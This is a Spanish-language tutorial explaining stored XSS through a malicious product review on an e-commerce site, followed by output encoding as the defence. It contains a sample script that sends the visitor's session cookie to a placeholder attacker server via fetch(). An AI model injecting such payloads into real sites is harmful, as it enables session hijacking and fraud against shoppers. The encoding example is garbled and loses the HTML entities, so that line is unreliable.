

Explicación del Ataque XSS (Cross-site scripting)

El ataque **XSS** es un tipo de inyección donde un atacante logra que un **navegador de una víctima ejecute código malicioso (generalmente JavaScript)** que el atacante ha "colocado" previamente en un sitio web de confianza.

Ejemplo Práctico en un E-commerce (XSS Almacenado)

El código malicioso se guarda en la base de datos del sitio legítimo.

Escenario: La Sección de Comentarios

Un e-commerce que permite a los clientes dejar reseñas y comentarios sobre los productos:

1. **Vulnerabilidad:** El campo de comentario del producto acepta texto simple, pero el sitio no está limpiando el código HTML o JavaScript que se pueda introducir.
2. **El Ataque (Inyección):** Un atacante va a la página de un producto muy popular y, en lugar de dejar un comentario, inserta el siguiente código malicioso:

```
<script>
// Este script roba la cookie de sesión del usuario
fetch('https://servidor-del-atacante.com/robar?cookie=' + document.cookie, {
  method: 'GET'
});
</script>
Hola, este producto es muy bueno!
```

3. **Almacenamiento:** El servidor del e-commerce recibe el comentario y, como no lo filtra, lo guarda en la **Base de Datos** junto con el resto de los comentarios.
4. **La Víctima:** Cualquier cliente que visite la página de ese producto para ver las reseñas se convierte en víctima:
 - Su navegador descarga la página, incluyendo el *script* malicioso inyectado.
 - El navegador **ejecuta** el *script*.
 - El *script* roba la *cookie* de sesión del cliente autenticado y la envía al servidor del atacante.

El atacante recibe la *cookie* de sesión de la víctima y puede **usarla para hacerse pasar por ese cliente** en el e-commerce (secuestro de sesión), accediendo a su carrito, información personal o incluso realizando compras fraudulentas.

Solución Principal

La defensa clave contra XSS es la **Neutralización/Codificación de la Salida (*Output Encoding*)** o la **Desinfección (*Sanitization*)**:

- **Nunca confíes en la entrada del usuario.**
- Antes de mostrar cualquier dato de usuario en una página web, debes **codificar** los caracteres especiales (< se convierte en <, > se convierte en >).
- De esta manera, el navegador no ve el texto como código JavaScript ejecutable, sino simplemente como texto inofensivo que debe mostrar en pantalla.

